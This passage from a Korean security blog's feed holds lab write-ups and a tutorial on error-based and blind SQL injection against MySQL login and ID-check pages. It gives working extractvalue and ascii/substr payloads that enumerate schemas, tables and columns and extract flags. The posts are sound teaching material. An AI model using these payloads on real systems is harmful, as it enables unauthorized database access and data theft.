<li>두번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2_2&#39; limit 1,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/26dbd529-09db-43a9-a685-bcd5e9a364d3/image.png" alt=""></p>
<p><code>member</code> 라는 테이블도 발견했습니다</p>
<h3 id="6️⃣-컬럼-이름-찾기">6️⃣ 컬럼 이름 찾기</h3>
<p>우리는 flag를 찾아야 하니 우리가 추출해야 할 데이터는 <code>flagTable_this</code> 테이블에 있을 가능성이 크겠네요</p>
<p>그럼 <code>flagTable_this</code> 에 어떤 column이 있는지 알아보기 위한 SQL문을 작성해보겠습니다</p>
<p><code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flagTable_this&#39;</code></p>
<p>이 SQL문을 공격 format에 끼워넣으면 아래와 같습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flagTable_this&#39;))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/7018b93d-c318-4522-b1ef-f509f388f629/image.png" alt=""></p>
<p>아이디로 입력해보니 이런 결과가 나왔습니다</p>
<p>컬럼이 여러 개인 것 같으니 마찬가지로 <code>limit</code> 을 활용해 1개씩 찾아보겠습니다</p>
<ol>
<li>첫번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flagTable_this&#39; limit 0,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/4921d120-328d-4119-9b5f-fba36e148448/image.png" alt=""></p>
<p><code>idx</code> 라는 컬럼을 발견했습니다</p>
<ol start="2">
<li>두번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flagTable_this&#39; limit 1,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/7befec70-4a41-44c3-b84a-4fd770c4377d/image.png" alt=""></p>
<p><code>flag</code> 컬럼도 발견했습니다</p>
<h3 id="7️⃣-데이터-추출하기">7️⃣ 데이터 추출하기</h3>
<p>우리가 찾는 것은 flag이기 때문에 flag 컬럼의 데이터를 추출해보도록 하겠습니다</p>
<p>데이터를 추출하는 sql문은 <code>select flag from flagTable_this</code> 가 됩니다</p>
<p>이것을 공격 format에 삽입하면 아래와 같습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (select flag from flagTable_this))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/365a6940-a268-4657-b827-0144f6ca66e0/image.png" alt=""></p>
<p>컬럼 내 데이터가 여러 행인 것 같으니 <code>limit</code> 을 이용해 1개씩 보아야 합니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (select flag from flagTable_this limit N,1))) and &#39;1&#39;=&#39;1</code></p>
<p>데이터가 많을 것 같아 burp suite의 intruder를 이용해 limit의 시작 인덱스를 0부터 20까지 돌려보았습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/4448bcb5-9513-4a39-84f8-943d8b7e8bb7/image.png" alt=""></p>
<p>13에서 플래그를 찾았습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Error based SQLi 연습 문제 2]]></title>
            <link>https://velog.io/@gyubin_yoon/Error-based-SQLi-%EC%97%B0%EC%8A%B5-%EB%AC%B8%EC%A0%9C-2</link>
            <guid>https://velog.io/@gyubin_yoon/Error-based-SQLi-%EC%97%B0%EC%8A%B5-%EB%AC%B8%EC%A0%9C-2</guid>
            <pubDate>Tue, 27 May 2025 04:27:14 GMT</pubDate>
            <description><![CDATA[<h3 id="1️⃣-sqli-포인트-찾기">1️⃣ SQLi 포인트 찾기</h3>
<p>문제는 다음과 같습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/6745bc91-7b3b-41e7-b8ab-35b47be2a3d6/image.png" alt=""></p>
<p>계정이 하나 주어지고, 이걸 이용해 flag를 찾아야 하는 것 같네요</p>
<p>먼저 주어진 계정으로 로그인 해 request나 response에 특별한 점은 없는지 관찰합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/617ac265-3853-40ff-b740-d68173666b09/image.png" alt=""></p>
<p>딱히 특별한 점 없이 잘 로그인 되었습니다</p>
<p><strong>Error based sqli</strong>가 가능한 지 알아보기 위해 아이디에 <code>normaltic&#39;</code> 을 입력해 보았습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/cd55cb0b-96f3-4b03-a0dc-4e62cd2fd761/image.png" alt=""></p>
<p>에러메시지가 출력되는 것을 보아 가능할 것 같습니다</p>
<p>아이디에 <code>normaltic&#39; and &#39;1&#39;=&#39;1</code> 입력했을 때 역시 잘 로그인 되는 것을 보아 SQLi 포인트가 맞는 것은 확인하였습니다</p>
<h3 id="2️⃣-에러-출력-함수">2️⃣ 에러 출력 함수</h3>
<p><strong>error based sqli</strong>를 하려면 에러를 출력할 함수가 필요합니다</p>
<p>이때 활용할 함수는 사용하는 데이터베이스마다 다릅니다</p>
<p>우리는 MySQL을 사용하고 있기 때문에, <code>extractvalue</code> 함수를 활용합니다</p>
<p>XPATH 표현식을 작성해야 할 부분에 틀린 접두사(콜론)와 SQL문을 이어붙여 원하는 SQL문이 실행되도록 할 것입니다</p>
<h3 id="3️⃣-공격-포맷-작성">3️⃣ 공격 포맷 작성</h3>
<p>이제 본격적인 SQLi를 위해 공격 포맷을 만들어 보겠습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (_SQL문_))) and &#39;1&#39;=&#39;1</code></p>
<h3 id="4️⃣-db-이름-찾기">4️⃣ DB 이름 찾기</h3>
<p>DB 이름은 <code>select database()</code> 로 찾습니다</p>
<p>위에서 만든 공격 포맷에 이 SQL문을 끼워넣으면 아래와 같습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (select database()))) and &#39;1&#39;=&#39;1</code></p>
<p>이제 이 SQL문을 아이디로 입력해 로그인 시도를 해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/7f837857-974f-4894-a4b1-d78370f44153/image.png" alt=""></p>
<p><code>sqli_2_1</code> 라는 DB 명을 찾았습니다</p>
<h3 id="5️⃣-테이블-이름-찾기">5️⃣ 테이블 이름 찾기</h3>
<p>DB 이름을 찾았으니 이제 이걸 이용해 테이블을 찾아보도록 하겠습니다</p>
<p>테이블을 찾는 sql문은 아래와 같습니다</p>
<p><code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2_1&#39;</code></p>
<p>이 SQl문을 포맷에 끼우면 이렇게 되겠네요</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2_1&#39;))) and &#39;1&#39;=&#39;1</code></p>
<p>아이디에 넣어 로그인 시도를 해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/4f517f5f-fa86-49f3-9596-9058b52a9185/image.png" alt=""></p>
<p>테이블이 여러 개인 것 같으니 <code>limit</code> 을 이용해 하나씩 살펴보겠습니다</p>
<ol>
<li>첫번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2_1&#39; limit 0,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/f012112c-c077-427f-a717-264f30331d4e/image.png" alt=""></p>
<p><code>flag_table</code> 이라는 테이블을 발견했습니다</p>
<ol start="2">
<li>두번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2_1&#39; limit 1,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/5933d03c-93ea-4888-b19f-6e24ffda15b9/image.png" alt=""></p>
<p><code>member</code> 라는 테이블을 발견했습니다</p>
<h3 id="6️⃣-컬럼-이름-찾기">6️⃣ 컬럼 이름 찾기</h3>
<p>테이블 이름을 찾았으니 이제 이걸 이용해 컬럼 이름을 찾아보도록 하겠습니다</p>
<p>컬럼을 찾는 sql문은 아래와 같습니다</p>
<p><code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39;</code></p>
<p>이 SQl문을 공격 포맷에 끼우면 이렇게 되겠네요</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39;))) and &#39;1&#39;=&#39;1</code></p>
<p>아이디에 넣어 로그인 시도를 해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/ac56ec5a-10ca-41e5-acaf-4edadeed2b32/image.png" alt=""></p>
<p>결과가 여러 개인 것 같으니 <code>limit</code> 을 이용해 하나씩 살펴보겠습니다</p>
<ol>
<li>첫번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39; limit 0,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/962ce7b1-19e0-4b94-95f9-6da7016ba9ab/image.png" alt=""></p>
<p><code>flag1</code> 이라는 컬럼을 찾았습니다</p>
<ol start="2">
<li>두번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39; limit 1,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/6d816bcf-89ee-42ff-bdb9-0f5dbd0d027c/image.png" alt=""></p>
<p><code>flag2</code> 라는 컬럼을 찾았습니다</p>
<ol start="3">
<li>세번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39; limit 2,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/c5fe1b0d-927b-440d-8f14-0f3ddf127d6e/image.png" alt=""></p>
<p><code>flag3</code> 이라는 컬럼을 찾았습니다</p>
<ol start="4">
<li>네번째</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39; limit 3,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/5ca3273f-005f-4e41-b5a2-71d20b89b6ac/image.png" alt=""></p>
<p><code>flag4</code> 라는 컬럼을 찾았습니다</p>
<p>컬럼이 꽤 많은 것 같아 burp suite의 인트루더 기능을 사용해 빠르게 테스트 해보았습니다</p>
<p>총 flag 1~8까지 총 8개의 컬럼이 있었습니다</p>
<h3 id="7️⃣-데이터-추출하기">7️⃣ 데이터 추출하기</h3>
<p>테이블과 컬럼 명을 알았으니 이제 데이터를 추출해보겠습니다</p>
<p>데이터를 추출하는 sql문은 <code>select flagN from flag_table</code> 이니,</p>
<p>공격 포맷에 끼워 인트루더를 활용해 빠르게 시도해보겠습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (select flagN from flag_table))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/435f0293-7133-424f-bbb3-21cec085ffc3/image.png" alt=""></p>
<p><code>extractvalue</code> 는 32글자 제한이 있어 플래그가 flag1부터 flag8까지 나누어져 들어가 있습니다</p>
<p>이 결과들을 모두 모아 이어 붙이면 플래그가 됩니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Error based SQLi 연습 문제 1]]></title>
            <link>https://velog.io/@gyubin_yoon/Error-based-SQLi-%EC%97%B0%EC%8A%B5-%EB%AC%B8%EC%A0%9C-1</link>
            <guid>https://velog.io/@gyubin_yoon/Error-based-SQLi-%EC%97%B0%EC%8A%B5-%EB%AC%B8%EC%A0%9C-1</guid>
            <pubDate>Tue, 27 May 2025 01:11:41 GMT</pubDate>
            <description><![CDATA[<h3 id="1️⃣-sqli-포인트-찾기">1️⃣ SQLi 포인트 찾기</h3>
<p>먼저 문제를 확인해볼까요?</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/4ad53829-a08b-4010-808b-a98d7e34d07e/image.png" alt=""></p>
<p>flag를 찾아야 하고, 우리에게 계정이 하나 주어졌네요</p>
<p>페이지에 접속해보도록 하겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/c83d0b3b-2e63-4a8a-b39c-c3460d3df057/image.png" alt=""></p>
<p>평범한 로그인 페이지 같습니다</p>
<p>혹시 몰라 버프 스위트로 request, response를 확인해봤지만 별다른 특별한 점은 찾지 못했습니다</p>
<p><strong>error based sqli</strong>가 가능한지 확인하기 위해 <code>normaltic&#39;</code>을 아이디로 입력해 보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/96de3f7e-030a-4c0f-b1eb-80b8ce0139dd/image.png" alt=""></p>
<p>에러메세지가 아래에 출력되고 있네요</p>
<p><strong>error based sqli</strong>가 가능할 것 같습니다</p>
<h3 id="2️⃣-에러-출력-함수">2️⃣ 에러 출력 함수</h3>
<p><strong>error based sqli</strong>를 하려면 에러를 출력할 함수가 필요합니다</p>
<p>이때 활용할 함수는 사용하는 데이터베이스마다 다릅니다</p>
<p>우리는 MySQL을 사용하고 있기 때문에, <code>extractvalue</code> 함수를 활용합니다</p>
<p>XPATH 표현식을 작성해야 할 부분에 틀린 접두사(콜론)와 SQL문을 이어붙여 원하는 SQL문이 실행되도록 할 것입니다</p>
<h3 id="3️⃣-공격-포맷-작성">3️⃣ 공격 포맷 작성</h3>
<p>이제 정말 SQL Injection을 하기 위해 공격 포맷을 만들어보도록 하겠습니다</p>
<p>위에서 <code>normaltic&#39; and (select &#39;test&#39;)=&#39;test&#39; and &#39;1&#39;=&#39;1</code> 이 로그인 가능이었던 것을 고려하면,</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(_SQL문_))) and &#39;1&#39;=&#39;1</code> 으로 format을 만들어 볼 수 있습니다</p>
<h3 id="4️⃣-db-이름-찾기">4️⃣ DB 이름 찾기</h3>
<p>DB 이름은 <code>select database()</code> 로 찾습니다</p>
<p>그렇다면 우리가 아이디에 입력해야 할 것은 아래와 같습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(select database()))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/ce912a09-ad7f-4f95-ae06-65e77776301e/image.png" alt=""></p>
<p>DB 이름은 <code>sqli_2</code> 라는 것을 알 수 있습니다</p>
<h3 id="5️⃣-테이블-이름-찾기">5️⃣ 테이블 이름 찾기</h3>
<p>DB 이름을 알았으니 이제 테이블 이름을 찾을 차례입니다</p>
<p>테이블을 찾는 SQL문은 아래와 같습니다</p>
<p><code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2&#39;</code></p>
<p>그렇다면 이 sql문을 공격 format에 넣은 모습은 이렇겠네요</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2&#39;))) and &#39;1&#39;=&#39;1</code></p>
<p>이제 이 sql문을 아이디로 넣어 로그인 해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/8ad5861a-d361-4e79-b073-c4c8a19c2b6b/image.png" alt=""></p>
<p>테이블이 여러 개 있나봅니다</p>
<p>그렇다면 <code>limit</code> 함수를 활용해 하나씩 결과를 보겠습니다</p>
<ol>
<li>첫번째 테이블</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2&#39; limit 0,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/2dcf513d-371e-4c22-b480-d0111b686f12/image.png" alt=""></p>
<p><code>flag_table</code> 이라는 테이블을 찾았습니다</p>
<ol start="2">
<li>두번째 테이블</li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_2&#39; limit 1,1))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/9e7f7a0d-5d14-4df4-9679-27313a3f2996/image.png" alt=""></p>
<p><code>member</code> 라는 테이블을 찾았습니다</p>
<h3 id="6️⃣-컬럼-이름-찾기">6️⃣ 컬럼 이름 찾기</h3>
<p>테이블까지 찾았으니 이제 컬럼을 찾아보도록 하겠습니다</p>
<p>테이블은 <code>flag_table</code> 과 <code>member</code> 로 2개였습니다</p>
<p>우리가 찾아야 할 것은 flag이니 <code>flag_table</code> 의 컬럼을 찾아보도록 하겠습니다</p>
<p>컬럼을 찾는 SQL문은 아래와 같습니다</p>
<p><code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39;</code></p>
<p>그렇다면 우리가 아이디로 입력해야 할 것은 이런 sql문이 되겠네요</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flag_table&#39;))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/635dd61a-ea7b-4c9e-9e3e-f24381e85a14/image.png" alt=""></p>
<p><code>flag</code> 라는 컬럼을 찾았습니다</p>
<h3 id="7️⃣-데이터-추출하기">7️⃣ 데이터 추출하기</h3>
<p>이제 테이블과 컬럼 명을 알았으니 데이터를 추출하는 sql문을 작성할 수 있습니다</p>
<p><code>select flag from flag_table</code></p>
<p>이 sql문을 공격 포맷에 끼우면 다음과 같이 작성할 수 있습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(select flag from flag_table))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/82033269-0905-4ca0-b4bc-af919743f42d/image.png" alt=""></p>
<p>플래그를 얻었습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Blind SQL Injection]]></title>
            <link>https://velog.io/@gyubin_yoon/Blind-SQL-Injection</link>
            <guid>https://velog.io/@gyubin_yoon/Blind-SQL-Injection</guid>
            <pubDate>Mon, 26 May 2025 12:32:48 GMT</pubDate>
            <description><![CDATA[<p>오늘은 Blind SQL Injection에 대해 알아보겠습니다</p>
<p>Blind SQL Injection은 <strong>SQL문의 실행 결과가 참, 거짓으로 나올 때 사용하는 SQL Injection 공격</strong>입니다</p>
<p>실행 결과가 참, 거짓으로 나오는 경우는 로그인이나 아이디 중복 체크 등이 있겠습니다</p>
<p>결과가 로그인 성공/실패와 같이 참/거짓으로 나타나기 때문에, </p>
<p>참인 SQL문이 실행되었을 때와 거짓인 SQL문이 실행되었을 때의 차이를 관찰해 정보를 얻어내는 방법입니다</p>
<p>예를 들어, 비밀번호의 첫 글자가 &#39;a&#39;인지 묻는 SQL을 삽입하여 결과가 참인지 거짓인지 살펴보고 이를 통해 조금씩 데이터를 추출하는 방법입니다</p>
<p>그럼 간단한 문제를 풀면서 Blind SQL Injection의 단계를 알아보겠습니다</p>
<hr>
<h3 id="1️⃣-sql-injection-포인트-찾기">1️⃣ SQL Injection 포인트 찾기</h3>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/19362365-109a-4f41-8971-cfde886af202/image.png" alt=""></p>
<p>위 페이지는 아이디 중복 검사를 하는 페이지입니다</p>
<p><code>normaltic</code> 이라는 아이디가 존재하네요</p>
<p><code>normaltic&#39; and &#39;1&#39;=&#39;1</code> 과 <code>normaltic&#39; and &#39;1&#39;=&#39;2</code> 를 검색해 참/거짓일 때의 결과를 보고 SQL Injection이 가능한 곳인지 확인해 보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/7ac2b6c5-21ac-4c51-ac64-ad7455f79d67/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/76951748-5649-40b0-972b-64eec15cc381/image.png" alt=""></p>
<p>둘의 차이를 보니 SQL Injection이 제대로 적용되고 있는 것 같습니다</p>
<h3 id="2️⃣-select-문구-사용-가능한-지-확인">2️⃣ select 문구 사용 가능한 지 확인</h3>
<p>우리는 select 문을 사용해야 하는데, select가 필터링 되어 있을 수 있으므로 먼저 select 문을 사용 가능한 지 확인해야 합니다</p>
<p><code>normaltic&#39; and ((select &#39;test&#39;)=&#39;test&#39;) and &#39;1&#39;=&#39;1</code> 를 검색해 <code>SELECT</code> 문구를 사용할 수 있는지 확인합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/dffadf98-c347-4550-8887-03b3f58703b0/image.png" alt=""></p>
<p>사용 가능한 것을 확인했습니다</p>
<h3 id="3️⃣-공격-format-만들기">3️⃣ 공격 format 만들기</h3>
<p>이제 공격 포맷을 만들 차례입니다</p>
<p>그 전에 <code>substr</code> 함수와 <code>ascii</code> 함수에 대해 알아보겠습니다</p>
<blockquote>
<p><strong>❓ substr</strong>
글자를 잘라주는 함수
<code>substr(텍스트, 시작 인덱스, 글자 개수)</code> 와 같이 사용
ex. substr(&#39;test&#39;,1,1) : test의 첫번째 글자부터 1개 잘라달라는 뜻으로 <code>t</code>가 반환</p>
</blockquote>
<blockquote>
<p><strong>❓ ascii</strong>
문자를 숫자로 바꿀 수 있는 함수로, 문자를 아스키코드 표현에 해당하는 숫자로 변환한다
ex. ascii(&#39;a&#39;) : <code>a</code> 의 아스키코드식 숫자인 65로 변환</p>
</blockquote>
<p>우리는 이제부터 참/거짓 결과를 활용해 문자 맞추기 놀이를 해야합니다</p>
<p>우리는 문자를 숫자로 바꿀 수 있다는 점을 이용해서 데이터를 한 글자씩 맞춰 나갈 것입니다</p>
<p>아스키코드에서 영어 알파벳은 65~122에 해당합니다</p>
<p>예를 들어 데이터베이스의 첫 글자를 맞춘다고 하면 </p>
<p><code>ascii(substr((select database()), 1,1)) &gt; 90</code>과 같이 질의하여 </p>
<p>up down 게임을 통해 범위를 좁혀나가 하나의 글자를 알아내는 것입니다</p>
<p>그렇다면 우리의 공격 포맷은</p>
<p><code>normaltic&#39; and ascii(substr((_SQL문_),1,1))&gt;숫자 and &#39;1&#39;=&#39;1</code> 이 됩니다</p>
<h3 id="4️⃣-db-이름-찾기">4️⃣ DB 이름 찾기</h3>
<p>DB 이름은 <code>select database()</code> 로 찾습니다</p>
<p>그렇다면 우리가 작성해야 될 검색어는 <code>normaltic&#39; and ascii(substr((select database()),1,1))&gt;숫자 and &#39;1&#39;=&#39;1</code> 입니다</p>
<p>이름은 영어로 시작될 가능성이 높으니 65와 122의 중간쯤인 90부터 맞춰가며 범위를 좁혀보겠습니다</p>
<p>첫 글자를 한번 찾아볼까요?</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/6b6b7359-5be9-4aac-9bd5-7702ae1ea453/image.png" alt=""></p>
<p><code>normaltic&#39; and ascii(substr((select database()),1,1))&gt;90 and &#39;1&#39;=&#39;1</code> 을 검색한 결과입니다</p>
<p>좀 더 올려보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/735d06e5-dc6b-442e-921b-53e3a5f03f40/image.png" alt=""></p>
<p>105로 조정했더니 존재하지 않는다고 하네요</p>
<p>90과 105 사이인가 봅니다</p>
<p>97로 검색해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/4f0e2d61-d519-48b8-b71c-8a7e8038b336/image.png" alt=""></p>
<p>97보다는 크네요</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/3b9e2119-c19a-4733-bd35-35c79207e14d/image.png" alt=""></p>
<p>100으로 검색했더니 다시 거짓이 되었습니다</p>
<p>97보다 크고 100보다는 작은가봅니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/096d0dc6-efee-47b8-9ccc-b8cfdb2c1f8c/image.png" alt=""></p>
<p>98을 검색했더니 거짓이 되었습니다</p>
<p>아까 97보다 크다는 참이었는데, 98보다는 거짓이라면 정확히 98이어야 합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/37a72bd3-9772-4047-82be-8ee3464d2067/image.png" alt=""></p>
<p>아스키코드로 98이면 문자로는 <code>b</code> 입니다</p>
<p>데이터베이스 이름의 첫 글자는 <code>b</code> 였네요</p>
<p>이 과정을 반복해 구한 데이터베이스 이름은 <code>blindSqli</code> 입니다</p>
<h3 id="5️⃣-테이블-이름-찾기">5️⃣ 테이블 이름 찾기</h3>
<p>테이블 명을 찾는 SQL문은 <code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;blindSqli&#39;</code> 입니다</p>
<p>그렇다면 우리가 작성해야 할 검색어는 <code>normaltic&#39; and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;blindSqli&#39; limit 0,1),1,1))&gt;숫자 and &#39;1&#39;=&#39;1</code> 입니다</p>
<p>숫자를 조정해가며 테이블의 이름을 한 글자씩 찾습니다</p>
<p>이 과정을 반복해 구한 테이블 이름은 <code>flagTable</code> 입니다</p>
<h3 id="6️⃣-컬럼-이름-찾기">6️⃣ 컬럼 이름 찾기</h3>
<p>컬럼 명을 찾는 SQL문은 <code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flagTable&#39;</code> 입니다</p>
<p>그렇다면 우리가 작성해야 할 검색어는 <code>normaltic&#39; and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flagTable&#39; limit 0,1),1,1))&gt;숫자 and &#39;1&#39;=&#39;1</code> 입니다</p>
<p>숫자를 조정해가며 컬럼 이름을 한 글자씩 찾습니다</p>
<p>이 과정을 반복해 구한 컬럼 이름은 <code>flag</code> 입니다</p>
<h3 id="7️⃣-데이터-추출">7️⃣ 데이터 추출</h3>
<p>이제 테이블 명과 컬럼 명을 알았으니 데이터를 추출할 수 있습니다</p>
<p><code>select flag from flagTable</code> 이 실행되어야 하니,</p>
<p>우리가 작성해야 할 검색어는 <code>normaltic&#39; and ascii(substr((select flag from flagTable),1,1))&gt;숫자 and &#39;1&#39;=&#39;1</code> 이 됩니다</p>
<p>숫자를 조정해가며 flag를 한 글자씩 찾습니다</p>
<p>이 과정을 반복해 전체 flag를 찾을 수 있었습니다</p>
<hr>
<p>이렇게 <strong>Blind SQL Injection</strong>에 대해 간단한 문제를 통해 알아보았습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Error based SQL injection]]></title>
            <link>https://velog.io/@gyubin_yoon/Error-based-SQL-injection</link>
            <guid>https://velog.io/@gyubin_yoon/Error-based-SQL-injection</guid>
            <pubDate>Mon, 26 May 2025 06:10:13 GMT</pubDate>
            <description><![CDATA[<p>오늘은 Error Based SQLi가 무엇인지 알아보겠습니다</p>
<blockquote>
<p>‼️ ** Error Based SQLi **
SQL 오류가 발생했을 때 화면에 SQL 오류가 출력 되는 경우, 
이 에러 메세지에 SQL문 실행 결과가 포함되는 것을 이용해 SQL 질의문을 삽입하여 데이터를 추출하는 공격</p>
</blockquote>
<p>예시를 통해 좀 더 확실히 알아볼까요?</p>
<p>아이디 중복 검사를 하는 페이지가 있습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/02806125-b4f3-47d5-9992-9b6080a1031d/image.png" alt=""></p>
<p>이 페이지는 아이디를 입력하면 이미 존재하는 아이디인지, 그렇지 않은 아이디인지 알려줍니다</p>
<p>직접적으로 SQL 쿼리문 실행 결과를 페이지에 출력하는 것이 아니라,</p>
